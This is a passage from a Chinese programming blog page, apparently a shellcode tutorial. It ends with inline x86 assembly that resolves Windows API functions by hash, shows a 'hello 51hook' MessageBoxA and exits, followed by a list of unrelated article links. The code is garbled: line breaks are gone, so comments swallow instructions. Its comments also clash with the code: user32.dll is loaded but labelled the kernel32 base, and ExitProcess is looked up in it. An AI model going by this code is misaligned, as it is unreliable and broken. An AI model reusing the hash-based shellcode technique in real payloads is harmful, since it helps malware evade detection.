eax//6.输出hello 51hookpush 0push 0mov ecx, [ebp + 0x8]lea ecx, [ecx + 0xB]//字符串hello 51hook偏移push ecxpush 0call[ebp - 0x14]//MessageBoxA//通过loadLibraryA 获取kernel32.dll的基址 确保万无一失mov ecx, [ebp + 0x8]lea ecx, [ecx + 0x18]push ecxcall[ebp - 0x8]//调用loadlibraya获取 user32.dllmov[ebp - 0x18], eax//kener32.dllbase//退出程序0x4FD18963push  0x4FD18963//ExitProcess 哈希值push[ebp - 0x18]call fun_GetProcAddr//获取ExitProcess的函数地址mov[ebp - 0x2c], eaxpush 0call[ebp - 0x2c]//调用 ExitProcesspop ecxpop ebxpop edxpop edipop esimov esp, ebppop ebpretn 0x4}
}
int main()
{printf("hello 51hook");shellCode();return 0;
}

http://www.xdnf.cn/news/5042.html

相关文章:

  • 使用React实现调起系统相机功能
  • 2025.05.07-淘天研发岗-第二题
  • goFrame框架中如何实现文件的excel导出
  • Spring Boot快速开发:从零开始搭建一个企业级应用
  • 普通IT的股票交易成长史--20250509 缺口(1)
  • LeetCode难题解析:数字字符串的平衡排列数目
  • 阻焊工艺如何保障多层PCB可靠性?5大核心功能与工艺控制要点
  • 深入理解 Istio 的工作原理 v1.26.0
  • 计算机网络:深度解析基于链路状态的内部网关协议IS-IS
  • OpenHarmony 开源鸿蒙南向开发——linux下使用make交叉编译第三方库——gmp
  • 赛季7靶场 - Environment
  • 死锁的形成
  • 国产Excel处理控件Spire.XLS系列教程:C# 将Excel文件转换为Markdown格式
  • 线程邮箱框架与示例
  • 《Spring Boot 3.0全新特性详解与实战案例》
  • 科学选择差分探头输入阻抗的方法
  • Liunx ContOS7 安装部署 Docker
  • RabbitMQ ②-工作模式
  • Rust 智能指针全解析:从原理到实践
  • 基于DeepSeek的韦恩图绘制:方法、优化与应用
  • NX884NX891美光固态闪存NX895NX907
  • ET2120工业Lora数传终端RS485串口4*AIAO+Moubus RTU
  • 北斗导航 | RTKLib中模糊度解算详解,公式,代码
  • 【愚公系列】《Manus极简入门》028-创业规划顾问:“创业导航仪”
  • Python - 如何打包并发布 Python 库到 PyPI
  • 运维体系架构规划
  • VBA -- 学习Day3
  • Java设计模式之抽象工厂模式:从入门到精通
  • 工业设计破局密码:3D 可视化技术点燃产业升级引擎
  • 如何将邮件送达率从60%提升到95%